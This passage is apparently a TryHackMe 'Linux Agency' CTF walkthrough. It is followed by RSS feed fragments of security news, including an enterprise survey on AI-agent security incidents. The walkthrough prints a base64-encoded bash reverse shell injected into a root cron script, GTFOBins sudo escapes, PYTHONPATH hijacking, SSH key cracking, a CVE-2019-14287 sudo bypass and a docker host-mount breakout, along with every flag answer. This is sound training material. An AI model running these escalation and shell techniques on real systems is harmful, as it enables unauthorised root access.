the machine on TryHackMe and wait about a minute. Then connect:</p><pre>ssh agent47@&lt;MACHINE_IP&gt;</pre><p><strong>Password:</strong> 640509040147</p><p>Once connected you’ll see:</p><pre>agent47@linuxagency:~$</pre><p>The mission begins. 🚀</p><h3>🗂️ Task 2: Initial Access</h3><p>The room’s mechanic is straightforward:</p><ul><li>Every flag found acts as the <strong>password</strong> for the next user</li><li>Flag format: missionX{md5_hash}</li><li>Chain: agent47 → mission1 → mission2 → ... → mission30 → viktor → ...</li></ul><h3>🔍 Task 3: Linux Fundamentals (Mission 1–30 + Viktor)</h3><h3>🎯 Mission 1</h3><p>As <strong>agent47</strong>, the first task is finding mission1’s flag.</p><pre>find / -type f -name "*.txt" 2&gt;/dev/null<br># Or directly check:<br>ls /home/mission1/<br>cat /home/mission1/&lt;flag_file&gt;</pre><p>Now switch to mission1:</p><pre>su mission1<br># Password: mission1{174dc8f191bcbb161fe25f8a5b58d1f0}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>find for filesystem-wide searching, understanding the </em><em>/home directory structure.</em></blockquote><h3>🎯 Mission 2</h3><p>As <strong>mission1</strong>:</p><pre>find / -type f -name "mission2" 2&gt;/dev/null<br>cat &lt;found_path&gt;</pre><pre>su mission2<br># Password: mission2{8a1b68bb11e4a35245061656b5b9fa0d}</pre><h3>🎯 Mission 3</h3><pre># As mission2:<br>grep -r "mission3" . 2&gt;/dev/null</pre><pre>su mission3<br># Password: mission3{ab1e1ae5cba688340825103f70b0f976}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>grep -r for recursive content searching across directories.</em></blockquote><h3>🎯 Mission 4</h3><pre># As mission3:<br>cd /home/mission3<br>ls<br>cat flag.txt</pre><pre>su mission4<br># Password: mission4{264a7eeb920f80b3ee9665fafb7ff92d}</pre><h3>🎯 Missions 5–8</h3><p>These follow a similar pattern — searching the filesystem:</p><pre># As mission4:<br>grep -r "mission5" / 2&gt;/dev/null<br>su mission5<br># Password: mission5{bc67906710c3a376bcc7bd25978f62c0}</pre><pre># As mission5:<br>grep -r "mission6" / 2&gt;/dev/null<br>su mission6<br># Password: mission6{1fa67e1adc244b5c6ea711f0c9675fde}</pre><pre># As mission6:<br>grep -r "mission7" / 2&gt;/dev/null<br>su mission7<br># Password: mission7{53fd6b2bad6e85519c7403267225def5}</pre><pre># As mission7:<br>grep -r "mission8" / 2&gt;/dev/null<br>su mission8<br># Password: mission8{3bee25ebda7fe7dc0a9d2f481d10577b}</pre><h3>🎯 Mission 9</h3><pre># As mission8:<br>ls<br>cat flag.txt</pre><pre>su mission9<br># Password: mission9{ba1069363d182e1c114bef7521c898f5}</pre><h3>🎯 Missions 10–11</h3><pre># As mission9:<br>grep -r "mission10" / 2&gt;/dev/null<br>su mission10<br># Password: mission10{0c9d1c7c5683a1a29b05bb67856524b6}</pre><pre># As mission10:<br>grep -r "mission11" / 2&gt;/dev/null<br>su mission11<br># Password: mission11{db074d9b68f06246944b991d433180c0}</pre><h3>🎯 Mission 12 — Environment Variable</h3><p>This time the flag is hidden inside an <strong>environment variable</strong>, not a file!</p><pre># As mission11:<br>env | grep mission12</pre><pre>su mission12<br># Password: mission12{f449a1d33d6edc327354635967f9a720}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>env command lists all environment variables. In real-world pentesting, environment variables frequently contain credentials, API keys, and sensitive data — always check them!</em></blockquote><h3>🎯 Mission 13 — File Permissions</h3><pre># As mission12:<br>ls -la /home/mission12/<br># flag.txt exists but you have no read permission!<br>chmod 777 /home/mission12/flag.txt<br>cat /home/mission12/flag.txt</pre><pre>su mission13<br># Password: mission13{076124e360406b4c98ecefddd13ddb1f}</pre><blockquote><strong>💡 What we learned:</strong><em> Linux file permissions and </em><em>chmod. Always use </em><em>ls -la — the </em><em>-a flag reveals hidden files and the </em><em>-l flag shows permissions clearly.</em></blockquote><h3>🎯 Mission 14 — Base64 Decode</h3><pre># As mission13:<br>cat /home/mission13/flag.txt | base64 -d</pre><pre>su mission14<br># Password: mission14{d598de95639514b9941507617b9e54d2}</pre><blockquote><strong>💡 What we learned:</strong><em> Base64 encoding/decoding. Strings ending with </em><em>= or </em><em>== are almost always Base64-encoded. The </em><em>base64 -d flag decodes them directly in the terminal.</em></blockquote><h3>🎯 Mission 15 — Binary → ASCII</h3><pre># As mission14:<br>cat /home/mission14/flag.txt<br># You'll see binary digits: 01101101 01101001 ...</pre><p>Convert the binary to ASCII using Python:</p><pre>python3 -c "<br>binary = '01101101 01101001 01110011 01110011 01101001 01101111 01101110 00110001 00110101'<br>chars = binary.split()<br>result = ''.join([chr(int(b, 2)) for b in chars])<br>print(result)<br>"</pre><p>Or use an online tool: <a href="https://www.rapidtables.com/convert/number/binary-to-ascii.html">https://www.rapidtables.com/convert/number/binary-to-ascii.html</a></p><pre>su mission15<br># Password: mission15{fc4915d818bfaeff01185c3547f25596}</pre><blockquote><strong>💡 What we learned:</strong><em> Binary → ASCII conversion. Recognizing encoding formats on sight is a key CTF skill.</em></blockquote><h3>🎯 Mission 16 — Hex → ASCII</h3><pre># As mission15:<br>cat /home/mission15/flag.txt | xxd -r -p</pre><p>xxd -r -p converts a raw hex string directly back to ASCII.</p><pre>su mission16<br># Password: mission16{884417d40033c4c2091b44d7c26a908e}</pre><blockquote><strong>💡 What we learned:</strong><em> Hex decoding. </em><em>xxd dumps hex (-p for plain hex), and with </em><em>-r it reverses the process.</em></blockquote><h3>🎯 Mission 17 — Execute Permission</h3><pre># As mission16:<br>ls -la /home/mission16/<br># There's a 'flag' binary but it has no execute permission<br>chmod u+x /home/mission16/flag<br>./flag</pre><pre>su mission17<br># Password: mission17{49f8d1348a1053e221dfe7ff99f5cbf4}</pre><h3>🎯 Mission 18 — Java</h3><pre># As mission17:<br>ls /home/mission17/<br># flag.java found<br>cd /home/mission17/<br>javac flag.java      # Compile<br>java flag            # Run</pre><pre>su mission18<br># Password: mission18{f09760649986b489cda320ab5f7917e8}</pre><blockquote><strong>💡 What we learned:</strong><em> Java compilation workflow: </em><em>javac compiles </em><em>.java → </em><em>.class, then </em><em>java runs the class.</em></blockquote><h3>🎯 Mission 19 — Ruby</h3><pre># As mission18:<br>ruby /home/mission18/flag.rb</pre><pre>su mission19<br># Password: mission19{a0bf41f56b3ac622d808f7a4385254b7}</pre><h3>🎯 Mission 20 — C Language</h3><pre># As mission19:<br>cd /home/mission19/<br>gcc flag.c -o flag   # Compile<br>./flag               # Run</pre><pre>su mission20<br># Password: mission20{b0482f9e90c8ad2421bf4353cd8eae1c}</pre><blockquote><strong>💡 What we learned:</strong><em> C compilation: </em><em>gcc source.c -o output_name then </em><em>./output_name to execute.</em></blockquote><h3>🎯 Mission 21 — Python</h3><pre># As mission20:<br>python3 /home/mission20/flag.py</pre><pre>su mission21<br># Password: mission21{7de756aabc528b446f6eb38419318f0c}</pre><h3>🎯 Mission 22 — Restricted Shell Escape (script)</h3><p>When you log in as <strong>mission21</strong>, you’re dropped into a restricted shell. Escape using:</p><pre>script -qc /bin/bash /dev/null</pre><p>This spawns a full bash shell. Now check .bashrc:</p><pre>cat ~/.bashrc<br># You'll find a Base64-encoded string<br>echo '&lt;base64_string&gt;' | base64 -d</pre><pre>su mission22<br># Password: mission22{24caa74eb0889ed6a2e6984b42d49aaf}</pre><blockquote><strong>💡 What we learned:</strong><em> Restricted shell escape using the </em><em>script command, which opens a new terminal session. Always check </em><em>.bashrc and </em><em>.bash_profile — attackers hide data there, and defenders do too.</em></blockquote><h3>🎯 Mission 23 — Python Interpreter Shell Escape</h3><p>Logging in as <strong>mission22</strong> drops you into a Python REPL. Escape to bash:</p><pre>import pty<br>pty.spawn("/bin/bash")</pre><p>Now read the flag:</p><pre>cat /home/mission22/flag.txt</pre><pre>su mission23<br># Password: mission23{3710b9cb185282e3f61d2fd8b1b4ffea}</pre><blockquote><strong>💡 What we learned:</strong><em> Python </em><em>pty.spawn() for shell escape — this is also a standard technique for upgrading dumb reverse shells to fully interactive TTYs in real engagements!</em></blockquote><h3>🎯 Mission 24 — Virtual Host + cURL</h3><pre># As mission23:<br>cat /home/mission23/message.txt<br>cat /etc/hosts<br># You'll see mission24.com mapped to 127.0.0.1<br>curl http://mission24.com -s | grep mission</pre><pre>su mission24<br># Password: mission24{dbaeb06591a7fd6230407df3a947b89c}</pre><blockquote><strong>💡 What we learned:</strong><em> Virtual hosting — the </em><em>/etc/hosts file acts as a local DNS resolver. In real engagements, always check </em><em>/etc/hosts for internal hostnames that reveal additional attack surface.</em></blockquote><h3>🎯 Mission 25 — Binary Analysis + viminfo</h3><pre># As mission24:<br>ls /home/mission24/<br>file bribe              # Check the file type<br>./bribe                 # Execute it — it writes to .viminfo<br>grep mission /home/mission24/.viminfo</pre><pre>su mission25<br># Password: mission25{61b93637881c87c71f220033b22a921b}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>file command identifies file types regardless of extension. </em><em>.viminfo is a hidden file storing Vim history — always run </em><em>ls -la to catch hidden files!</em></blockquote><h3>🎯 Mission 26 — PATH Manipulation</h3><p>Logging in as <strong>mission25</strong> gives you a broken environment — commands don’t work because $PATH is corrupted.</p><pre>echo $PATH<br># Empty or wrong PATH</pre><pre>export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin<br>ls -lhA<br>cat flag.txt</pre><pre>su mission26<br># Password: mission26{cb6ce977c16c57f509e9f8462a120f00}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>$PATH environment variable defines where the shell looks for executables. This concept is the foundation of PATH hijacking attacks — one of the most common Linux PrivEsc vectors.</em></blockquote><h3>🎯 Mission 27 — Steganography with strings</h3><pre># As mission26:<br>ls /home/mission26/<br>strings -n 20 /home/mission26/flag.jpg</pre><p>strings extracts human-readable strings from binary files. -n 20 filters results to strings of at least 20 characters.</p><pre>su mission27<br># Password: mission27{444d29b932124a48e7dddc0595788f4d}</pre><blockquote><strong>💡 What we learned:</strong><em> Basic steganography — data hidden inside image files. </em><em>strings is a quick first step when analyzing any binary or media file during a CTF or real engagement.</em></blockquote><h3>🎯 Mission 28 — Absurdly Long Filename</h3><pre># As mission27:<br>ls /home/mission27/<br>less flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz</pre><p>Yes, the filename is exactly that long. less handles it fine.</p><pre>su mission28<br># Password: mission28{03556f8ca983ef4dc26d2055aef9770f}</pre><h3>🎯 Mission 29 — Ruby Interpreter + Reverse String</h3><p>Logging in as <strong>mission28</strong> drops you into a Ruby REPL.</p><p><strong>Option 1 — Escape to shell:</strong></p><pre>exec "/bin/bash"</pre><p><strong>Option 2 — Read the file directly from Ruby:</strong></p><pre>Dir.chdir("/home/mission28")<br>puts File.open("txt.galf").readlines</pre><p>The flag is written in reverse! You’ll see something like:</p><pre>'}1fff2ad47eb52e68523621b8d50b2918{92noissim'</pre><p>Reverse it:</p><pre>'}1fff2ad47eb52e68523621b8d50b2918{92noissim'.reverse</pre><pre>su mission29<br># Password: mission29{8192b05d8b12632586e25be74da2fff1}</pre><blockquote><strong>💡 What we learned:</strong><em> Ruby interpreter escape. String reversal is a common obfuscation technique in CTFs. Also notice the filename </em><em>txt.galf — that's </em><em>flag.txt reversed!</em></blockquote><h3>🎯 Mission 30 — Bludit CMS Enumeration</h3><pre># As mission29:<br>ls /home/mission29/<br>grep -rn "mission30" /home/mission29/bludit/</pre><p>The flag is buried inside Bludit CMS’s file structure.</p><pre>su mission30<br># Password: mission30{d25b4c9fac38411d2fcb4796171bda6e}</pre><h3>🎯 Viktor — Git History</h3><pre># As mission30:<br>ls /home/mission30/<br>cd /home/mission30/Escalator/<br>git --no-pager log</pre><p>Browse the git commit history — the flag is hidden in there.</p><pre>su viktor<br># Password: viktor{b52c60124c0f8f85fe647021122b3d9a}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>git log reveals commit history. In real-world pentesting, exposed git repositories are a goldmine — credentials, API keys, and internal logic are frequently committed and never properly removed.</em></blockquote><h3>🔓 Task 4: Privilege Escalation</h3><p>You’re now <strong>viktor</strong>. The “special targets” phase begins — each user requires a different privilege escalation technique.</p><h3>🎯 Dalia — Cron Job Exploitation</h3><pre># As viktor:<br>cat /etc/crontab</pre><p>Output:</p><pre>* * * * * root bash /opt/scripts/47.sh</pre><p>Root runs /opt/scripts/47.sh every minute. Check the script and your permissions:</p><pre>cat /opt/scripts/47.sh<br>ls -la /opt/scripts/47.sh<br># You have write access!</pre><p><strong>Step 1:</strong> Create your reverse shell payload:</p><pre>vim /tmp/eop.sh</pre><p>Contents:</p><pre>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/127.0.0.1/9999 0&gt;&amp;1</pre><p><strong>Step 2:</strong> Base64-encode it and overwrite the cron script:</p><pre>cat /tmp/eop.sh | base64 -w 0<br># Copy the output, then:<br>echo 'IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx' | base64 -d &gt; /opt/scripts/47.sh</pre><p><strong>Step 3:</strong> Set up your listener:</p><pre>nc -nlvp 9999</pre><p>Wait up to 60 seconds. The cron job fires and you get a shell as <strong>dalia</strong>:</p><pre># In the received shell:<br>id<br># uid=1000(dalia) ...<br>cat /home/dalia/flag.txt</pre><p><strong>Upgrade the shell (important for stability):</strong></p><pre>python3 -c 'import pty;pty.spawn("/bin/bash")'<br>export TERM=xterm<br>export SHELL=bash<br># Press Ctrl+Z<br>stty raw -echo; fg</pre><p>Flag: dalia{4a94a7a7bb4a819a63a33979926c77dc}</p><blockquote><strong>💡 What we learned:</strong><em> Cron job exploitation — one of the most common Linux PrivEsc vectors in the wild. The checklist: find writable scripts executed by root → inject reverse shell → wait. Always enumerate </em><em>/etc/crontab, </em><em>/etc/cron.d/, and </em><em>/var/spool/cron/.</em></blockquote><h3>🎯 Silvio — sudo + zip (GTFOBins)</h3><pre># As dalia:<br>sudo -l<br># (dalia) NOPASSWD: /usr/bin/zip as silvio</pre><p>From GTFOBins — zip sudo escape:</p><pre>TF=$(mktemp -u)<br>sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'</pre><pre>id<br># uid=... (silvio)<br>cat /home/silvio/flag.txt</pre><p>Flag: silvio{657b4d058c03ab9988875bc937f9c2ef}</p><blockquote><strong>💡 What we learned:</strong><em> </em><a href="https://gtfobins.github.io/"><em>GTFOBins</em></a><em> — the essential reference for abusing binaries with sudo, SUID, or capabilities. When you see </em><em>sudo -l, immediately cross-reference every allowed binary against GTFOBins.</em></blockquote><h3>🎯 Reza — sudo + git (GTFOBins)</h3><pre># As silvio:<br>sudo -l<br># (silvio) NOPASSWD: /usr/bin/git as reza</pre><p>GTFOBins git sudo escape (uses PAGER environment variable):</p><pre>sudo -u reza PAGER='sh -c "exec sh 0&lt;&amp;1"' git -p help</pre><pre>id<br># uid=... (reza)<br>cat /home/reza/flag.txt</pre><p>Flag: reza{2f1901644eda75306f3142d837b80d3e}</p><blockquote><strong>💡 What we learned:</strong><em> Git’s </em><em>--paginate (</em><em>-p) feature invokes a pager, and by hijacking the </em><em>PAGER env variable we execute arbitrary commands. Many programs that invoke external processes are susceptible to this pattern.</em></blockquote><h3>🎯 Jordan — PYTHONPATH Hijacking</h3><pre># As reza:<br>sudo -l<br># (reza) NOPASSWD: /opt/scripts/Gun-Shop.py as jordan</pre><p>Run the script:</p><pre>sudo -u jordan /opt/scripts/Gun-Shop.py<br># Error: No module named 'shop'</pre><p>The script imports a module called shop which doesn't exist. We can create it in a directory we control:</p><p><strong>Step 1:</strong> Create a malicious shop module:</p><pre>mkdir -p /tmp/shop<br>echo 'import os; os.system("/bin/bash")' &gt; /tmp/shop/shop.py</pre><p><strong>Step 2:</strong> Override PYTHONPATH so Python finds our module first:</p><pre>sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py</pre><pre>id<br># uid=... (jordan)<br>cat /home/jordan/flag.txt</pre><p>Flag: jordan{fcbc4b3c31c9b58289b3946978f9e3c3}</p><blockquote><strong>💡 What we learned:</strong><em> Python module hijacking — a real-world PrivEsc technique. </em><em>PYTHONPATH tells Python where to search for modules before the standard library paths. If an attacker controls a directory early in that path, they can substitute any module with malicious code.</em></blockquote><h3>🎯 Ken — sudo + less (GTFOBins)</h3><pre># As jordan:<br>sudo -l<br># (jordan) NOPASSWD: /usr/bin/less as ken</pre><pre>sudo -u ken /usr/bin/less /etc/profile</pre><p>Once less opens, type ! followed by:</p><pre>!/bin/sh</pre><p>Press Enter — you drop into a shell as <strong>ken</strong>.</p><pre>id<br>cat /home/ken/flag.txt</pre><p>Flag: ken{4115bf456d1aaf012ed4550c418ba99f}</p><h3>🎯 Sean — sudo + vim (GTFOBins)</h3><pre># As ken:<br>sudo -l<br># (ken) NOPASSWD: /usr/bin/vim as sean</pre><pre>sudo -u sean vim -c ':!/bin/sh'</pre><p>The -c flag runs a Vim command on startup. :!/bin/sh executes a shell command from within Vim.</p><pre>id<br>cat /home/sean/flag.txt</pre><p>Flag: sean{4c5685f4db7966a43cf8e95859801281}</p><blockquote><strong>💡 What we learned:</strong><em> Vim is far more than a text editor — it can execute shell commands, run scripts, and spawn processes. Granting </em><em>sudo vim to any user is effectively granting root.</em></blockquote><h3>🎯 Penelope — Password Hidden in Base64</h3><pre># As sean:<br>printf %s 'VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==' | base64 -d<br># Output: "The password of penelope is p3nelope"</pre><pre>su penelope<br># Password: p3nelope<br>cat /home/penelope/flag.txt</pre><p>Flag: penelope{2da1c2e9d2bd0004556ae9e107c1d222}</p><h3>🎯 Maya — SUID base64 (GTFOBins)</h3><pre># As penelope:<br>ls -lhA /home/penelope/<br># A 'base64' binary with the SUID bit set!</pre><p>GTFOBins SUID base64 exploit — read files as the binary’s owner:</p><pre>LFILE=/home/maya/flag.txt<br>./base64 "$LFILE" | base64 -d</pre><p>Flag: maya{a66e159374b98f64f89f7c8d458ebb2b}</p><blockquote><strong>💡 What we learned:</strong><em> SUID (Set User ID) — when set on a binary, it executes with the file owner’s privileges rather than the caller’s. Find SUID binaries with: </em><em>find / -perm -4000 2&gt;/dev/null. Cross-reference every result with GTFOBins.</em></blockquote><h3>🎯 Robert — SSH Private Key Cracking</h3><pre># As maya:<br>ls -lhA /home/maya/<br>ls -lhA /home/maya/old_robert_ssh/<br># id_rsa and id_rsa.pub found</pre><p><strong>Step 1:</strong> Copy the private key to your local machine (new terminal tab):</p><pre>scp maya@&lt;IP&gt;:/home/maya/old_robert_ssh/id_rsa ./id_rsa_robert<br>chmod 600 id_rsa_robert</pre><p><strong>Step 2:</strong> Convert the key to a crackable hash:</p><pre>ssh2john id_rsa_robert &gt; robert_ssh_hash.txt</pre><p><strong>Step 3:</strong> Crack it with John the Ripper:</p><pre>john robert_ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><p><strong>Result:</strong> industryweapon</p><p><strong>Step 4:</strong> Find Robert’s SSH port on the target:</p><pre># On the target machine:<br>ss -nlpt | grep 22<br># Port 2222 is listening</pre><p><strong>Step 5:</strong> Connect:</p><pre>ssh robert@127.0.0.1 -p 2222 -i id_rsa_robert<br># Passphrase: industryweapon<br>cat /home/robert/user.txt</pre><p>Flag (user.txt): user{620fb94d32470e1e9dcf8926481efc96}</p><blockquote><strong>💡 What we learned:</strong><em> SSH private key cracking — </em><em>ssh2john extracts the hash, </em><em>john cracks it. In real engagements, always look for </em><em>id_rsa files in home directories, backup folders, and </em><em>.ssh/ directories. Encrypted keys with weak passphrases are a common finding.</em></blockquote><h3>👑 Root — Two-Stage Escalation</h3><h3>Stage 1: CVE-2019–14287 (Sudo User ID Bypass)</h3><pre># As robert:<br>sudo --version<br># Reveals a vulnerable version (&lt; 1.8.28)<br>sudo -u#-1 /bin/bash<br>whoami<br># root!</pre><p><strong>How it works:</strong> This is <strong>CVE-2019–14287</strong>. When a sudoers rule allows a user to run commands as any user, passing -u#-1 causes sudo to interpret the user ID as 0 (root) due to an integer overflow in how sudo handles negative UIDs. Patched in sudo 1.8.28.</p><pre>cd /root<br>ls</pre><h3>Stage 2: Docker Group → Root (root.txt)</h3><pre># As root (inside the container/restricted environment):<br>id<br># You're in the docker group<br>find / -name docker 2&gt;/dev/null<br># Found at /tmp/docker or similar<br>./docker ps -a<br>./docker image ls<br># "mangoman" image exists</pre><p>Mount the host filesystem into a container and chroot into it:</p><pre>./docker run -v /:/mnt --rm -it mangoman chroot /mnt sh</pre><pre>id<br># uid=0(root) gid=0(root) — TRUE host root<br>cat /root/root.txt</pre><p>Flag (root.txt): root{62ca2110ce7df377872dd9f0797f8476}</p><blockquote><strong>💡 What we learned:</strong><em> Docker group membership is equivalent to root access. </em><em>-v /:/mnt mounts the entire host filesystem into the container, and </em><em>chroot /mnt makes the container treat the host filesystem as its root. This is a well-documented container escape — never add untrusted users to the </em><em>docker group.</em></blockquote><h3>🏆 Flags Summary</h3><p>User Technique Category mission1–11 find / grep / cat Basic enumeration mission12 env Environment variables mission13 chmod File permissions mission14 base64 -d Encoding mission15 Binary → ASCII Encoding mission16 xxd -r -p (Hex) Encoding mission17 chmod u+x Execute permissions mission18 javac + java Java compilation mission19 ruby Scripting mission20 gcc C compilation mission21 python3 Scripting mission22 script -qc Restricted shell escape mission23 pty.spawn() Python interpreter escape mission24 curl + /etc/hosts Virtual hosting mission25 strings + .viminfo Binary analysis mission26 export PATH PATH manipulation mission27 strings on image Steganography mission28 less Long filename edge case mission29 exec in Ruby + .reverse Ruby escape + obfuscation mission30 grep -r in CMS File enumeration viktor git log Git history dalia Writable cron script Cron job exploitation silvio sudo zip GTFOBins reza sudo git + PAGER GTFOBins jordan PYTHONPATH hijack Module hijacking ken sudo less + ! GTFOBins sean sudo vim -c GTFOBins penelope Base64 password Encoded credentials maya SUID base64 SUID exploitation robert ssh2john + john SSH key cracking root (user.txt) sudo -u#-1 CVE-2019-14287 root (root.txt) docker run -v /:/mnt Docker breakout</p><h3>🧠 Key Takeaways</h3><p><strong>Linux Fundamentals:</strong></p><ul><li>ls -la always — hidden files, permissions at a glance</li><li>find and grep -r for wide enumeration</li><li>env for environment variable inspection</li><li>file to identify file types regardless of extension</li><li>strings to extract readable data from binaries</li></ul><p><strong>Encoding &amp; Decoding:</strong></p><ul><li>Base64 (base64 -d), Hex (xxd -r -p), Binary (Python one-liner)</li><li>Reversed strings — check file content and filenames alike</li></ul><p><strong>Scripting Languages:</strong></p><ul><li>Python: pty.spawn("/bin/bash") for shell upgrade</li><li>Ruby: exec "/bin/bash" or Dir/File for file ops</li><li>Java: javac → java, C: gcc → ./binary</li></ul><p><strong>Privilege Escalation Checklist:</strong></p><ol><li>sudo -l → GTFOBins</li><li>find / -perm -4000 2&gt;/dev/null → SUID binaries → GTFOBins</li><li>cat /etc/crontab + ls /etc/cron.d/ → writable scripts run by root</li><li>id → check group memberships (docker!)</li><li>Check $PATH, env variables, writable directories in PATH</li></ol><h3>📚 Resources</h3><ul><li>🔗 <a href="https://gtfobins.github.io/">GTFOBins</a> — sudo/SUID binary exploitation reference</li><li>🔗 <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">PayloadsAllTheThings — Reverse Shell Cheatsheet</a></li><li>🔗 <a href="https://www.exploit-db.com/exploits/47502">Exploit-DB: CVE-2019–14287</a></li><li>🔗 <a href="https://tryhackme.com/room/sudovulnsbypass">TryHackMe: Sudo Security Bypass</a></li><li>🔗 <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation">HackTricks: Docker Breakout</a></li><li>🔗 <a href="https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html">RapidTables Converter</a></li></ul><h3>💬 Final Thoughts</h3><p><strong>Linux Agency</strong> is not just a CTF room — it’s a condensed simulation of a real lateral movement and privilege escalation engagement. The 30-user chain forces you to internalize Linux enumeration as a reflex, not a checklist. The privilege escalation phase covers more ground than most dedicated PrivEsc rooms.</p><p>If you’re preparing for <strong>OSCP</strong>, <strong>CPTS</strong> or any practical security certification, this room belongs in your training regimen. Do it without hints first, refer to this write-up only when truly stuck — the struggle is where the learning happens.</p><p><em>Happy Hacking! 🐧</em></p><p><em>Tags: #TryHackMe #CTF #LinuxAgency #PrivilegeEscalation #Linux #Pentesting #CyberSecurity #OSCP #GTFOBins #WriteUp</em></p><p><em>If you found this useful, feel free to connect on </em><a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a><em> or check out my tools on </em><a href="https://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=82a20bd23d67" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-linux-agency-complete-write-up-walkthrough-82a20bd23d67">TryHackMe — Linux Agency | Complete Write-Up &amp; Walkthrough</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[South Korea making its own security-centric AI model]]></title>
<description><![CDATA[Adapting existing local LLM project for security and sovereignty purposes and hopes to one day match Mythos]]></description>
<link>https://tsecurity.de/de/3674908/it-security-nachrichten/south-korea-making-its-own-security-centric-ai-model/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674908/it-security-nachrichten/south-korea-making-its-own-security-centric-ai-model/</guid>
<pubDate>Fri, 17 Jul 2026 04:09:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Adapting existing local LLM project for security and sovereignty purposes and hopes to one day match Mythos]]></content:encoded>
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<title><![CDATA[South Korea making its own security-centric AI model]]></title>
<description><![CDATA[Adapting existing local LLM project for security and sovereignty purposes and hopes to one day match Mythos This article has been indexed from www.theregister.com – Articles Read the original article: South Korea making its own security-centric AI model
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<link>https://tsecurity.de/de/3674906/it-security-nachrichten/south-korea-making-its-own-security-centric-ai-model/</link>
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<pubDate>Fri, 17 Jul 2026 04:08:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Adapting existing local LLM project for security and sovereignty purposes and hopes to one day match Mythos This article has been indexed from www.theregister.com – Articles Read the original article: South Korea making its own security-centric AI model</p>
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<p>The post <a href="https://www.itsecuritynews.info/south-korea-making-its-own-security-centric-ai-model/">South Korea making its own security-centric AI model</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[7/16/2026]]></title>
<description><![CDATA[Daxin Resurfaces in Taiwan Alongside Stupig Pre-Login SYSTEM Backdoor Sandworm Hackers Have a CAPTCHA Trick for Ukrainians Ukrainians Rally Against Dismissal of Tech-Minded Defense Minister FedorovJPMorgan CEO Dimon Says Anthropic’s Mythos AI Risks Are a ‘Real Issue’Single Prompt Enables ChatGPT ...]]></description>
<link>https://tsecurity.de/de/3674737/it-security-nachrichten/7162026/</link>
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<pubDate>Fri, 17 Jul 2026 00:22:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Daxin Resurfaces in Taiwan Alongside Stupig Pre-Login SYSTEM Backdoor Sandworm Hackers Have a CAPTCHA Trick for Ukrainians Ukrainians Rally Against Dismissal of Tech-Minded Defense Minister FedorovJPMorgan CEO Dimon Says Anthropic’s Mythos AI Risks Are a ‘Real Issue’Single Prompt Enables ChatGPT to Execute Full Cyber-Attack Chain, Researchers ClaimResearcher Poisons Open-Weight AI Model for Under $100Claude Chrome … <a href="https://thecyberbeat.com/2026/07/16/7-16-2026/" class="more-link">Continue reading <span class="screen-reader-text">7/16/2026</span></a>]]></content:encoded>
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<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
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<pubDate>Thu, 16 Jul 2026 21:47:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk 